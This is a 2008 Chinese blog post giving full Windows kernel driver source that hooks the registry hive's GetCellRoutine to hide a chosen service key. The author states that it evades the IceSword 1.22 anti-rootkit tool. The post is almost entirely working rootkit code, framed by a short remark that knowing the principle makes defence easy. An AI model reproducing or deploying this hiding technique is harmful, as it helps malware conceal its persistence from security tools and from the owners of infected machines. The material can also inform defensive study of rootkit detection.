发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22

以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。

原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。

  1. #include <ntddk.h>
  2.  
  3. #define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )
  4.  
  5. #define CM_KEY_INDEX_ROOT      0x6972         // ir
  6. #define CM_KEY_INDEX_LEAF      0x696c         // il
  7. #define CM_KEY_FAST_LEAF       0x666c         // fl
  8. #define CM_KEY_HASH_LEAF       0x686c         // hl
  9.  
  10. // 一些CM的数据结构,只列出用到的开头部分
  11. #pragma pack(1)
  12. typedef struct _CM_KEY_NODE {
  13.        USHORT Signature;
  14.        USHORT Flags;
  15.        LARGE_INTEGER LastWriteTime;
  16.        ULONG Spare;               // used to be TitleIndex
  17.        HANDLE Parent;
  18.        ULONG SubKeyCounts[2];     // Stable and Volatile
  19.        HANDLE SubKeyLists[2];     // Stable and Volatile
  20.        // ...
  21. } CM_KEY_NODE, *PCM_KEY_NODE;
  22.  
  23. typedef struct _CM_KEY_INDEX {
  24.        USHORT Signature;
  25.        USHORT Count;
  26.        HANDLE List[1];
  27. } CM_KEY_INDEX, *PCM_KEY_INDEX;
  28.  
  29. typedef struct _CM_KEY_BODY {
  30.        ULONG Type;                // "ky02"
  31.        PVOID KeyControlBlock;
  32.        PVOID NotifyBlock;
  33.        PEPROCESS Process;         // the owner process
  34.        LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
  35. } CM_KEY_BODY, *PCM_KEY_BODY;
  36.  
  37. typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);
  38.  
  39. typedef struct _HHIVE {
  40.        ULONG Signature;
  41.        PGET_CELL_ROUTINE GetCellRoutine;
  42.        // ...
  43. } HHIVE, *PHHIVE;
  44. #pragma pack()
  45.  
  46. // 需隐藏的主键名
  47. WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep";
  48.  
  49. PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
  50. PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;
  51.  
  52. PCM_KEY_NODE g_HideNode = NULL;
  53. PCM_KEY_NODE g_LastNode = NULL;
  54.  
  55. // 打开指定名字的Key
  56. HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
  57. {
  58.        NTSTATUS status;
  59.        UNICODE_STRING uKeyName;
  60.        OBJECT_ATTRIBUTES oa;
  61.        HANDLE hKey;
  62.  
  63.        RtlInitUnicodeString(&uKeyName, pwcsKeyName);
  64.        InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
  65.        status = ZwOpenKey(&hKey, KEY_READ, &oa);
  66.        if (!NT_SUCCESS(status))
  67.        {
  68.            DbgPrint("ZwOpenKey Failed: %lx\n", status);
  69.            return NULL;
  70.        }
  71.  
  72.        return hKey;
  73. }
  74.  
  75. // 获取指定Key句柄的KeyControlBlock
  76. PVOID GetKeyControlBlock(HANDLE hKey)
  77. {
  78.        NTSTATUS status;
  79.        PCM_KEY_BODY KeyBody;
  80.        PVOID KCB;
  81.  
  82.        if (hKey == NULL) return NULL;
  83.  
  84.        // 由Key句柄获取对象体
  85.        status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
  86.        if (!NT_SUCCESS(status))
  87.        {
  88.            DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status);
  89.            return NULL;
  90.        }
  91.  
  92.        // 对象体中含有KeyControlBlock
  93.        KCB = KeyBody->KeyControlBlock;
  94.        DbgPrint("KeyControlBlock = %lx\n", KCB);
  95.  
  96.        ObDereferenceObject(KeyBody);
  97.  
  98.        return KCB;
  99. }
  100.  
  101. // 获取父键的最后一个子键的节点
  102. PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
  103. {
  104.        // 获取父键的节点
  105.        PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
  106.        // 获取子键的索引
  107.        PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);
  108.  
  109.        DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);
  110.  
  111.        // 如果为根(二级)索引,获取最后一个索引
  112.        if (Index->Signature == CM_KEY_INDEX_ROOT)
  113.        {
  114.            Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
  115.            DbgPrint("Index = %lx\n", Index);
  116.        }
  117.  
  118.        if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
  119.        {
  120.            // 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
  121.            return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
  122.        }
  123.        else
  124.        {
  125.            // 一般叶索引,返回最后的节点
  126.            return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
  127.        }
  128. }
  129.  
  130. // GetCell例程的钩子函数
  131. PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
  132. {
  133.        // 调用原函数
  134.        PVOID pRet = g_pGetCellRoutine(Hive, Cell);
  135.        if (pRet)
  136.        {
  137.            // 返回的是需要隐藏的节点
  138.            if (pRet == g_HideNode)
  139.            {
  140.                DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
  141.                // 查询、保存并返回其父键的最后一个子键的节点
  142.                pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
  143.                DbgPrint("g_LastNode = %lx\n", g_LastNode);
  144.                // 隐藏的正是最后一个节点,返回空值
  145.                if (pRet == g_HideNode) pRet = NULL;
  146.            }
  147.            // 返回的是先前保存的最后一个节点
  148.            else if (pRet == g_LastNode)
  149.            {
  150.                DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
  151.                // 清空保存值,并返回空值
  152.                pRet = g_LastNode = NULL;
  153.            }
  154.        }
  155.        return pRet;
  156. }
  157.  
  158. NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
  159. {
  160.        DbgPrint("DriverUnload()\n");
  161.        // 解除挂钩
  162.        if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
  163.        return STATUS_SUCCESS;
  164. }
  165.  
  166. NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
  167. {
  168.        ULONG BuildNumber;
  169.        ULONG KeyHiveOffset;       // KeyControlBlock->KeyHive
  170.        ULONG KeyCellOffset;       // KeyControlBlock->KeyCell
  171.        HANDLE hKey;
  172.        PVOID KCB, Hive;
  173.  
  174.        DbgPrint("DriverEntry()\n");
  175.  
  176.        pDrvObj->DriverUnload = DriverUnload;
  177.  
  178.        // 查询BuildNumber
  179.        if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
  180.        DbgPrint("BuildNumber = %d\n", BuildNumber);
  181.  
  182.        // KeyControlBlock结构各版本略有不同
  183.        // Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以
  184.        switch (BuildNumber)
  185.        {
  186.            case 2195:     // Win2000
  187.                KeyHiveOffset = 0xc;
  188.                KeyCellOffset = 0x10;
  189.                break;
  190.            case 2600:     // WinXP
  191.            case 3790:     // Win2003
  192.                KeyHiveOffset = 0x10;
  193.                KeyCellOffset = 0x14;
  194.                break;
  195.            default:
  196.                return STATUS_NOT_SUPPORTED;
  197.        }
  198.  
  199.        // 打开需隐藏的键
  200.        hKey = OpenKeyByName(g_HideKeyName);
  201.        // 获取该键的KeyControlBlock
  202.        KCB = GetKeyControlBlock(hKey);
  203.        if (KCB)
  204.        {
  205.            // 由KCB得到Hive
  206.            PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
  207.            // GetCellRoutine在KCB中,保存原地址
  208.            g_ppGetCellRoutine = &Hive->GetCellRoutine;
  209.            g_pGetCellRoutine = Hive->GetCellRoutine;
  210.            DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine);
  211.            // 获取需隐藏的节点并保存
  212.            g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
  213.            // 挂钩GetCell例程
  214.            Hive->GetCellRoutine = MyGetCellRoutine;
  215.        }
  216.        ZwClose(hKey);
  217.  
  218.        return STATUS_SUCCESS;
  219. }
posted @ 2008-03-29 11:48  至尊王者  阅读(1198)  评论(0编辑  收藏  举报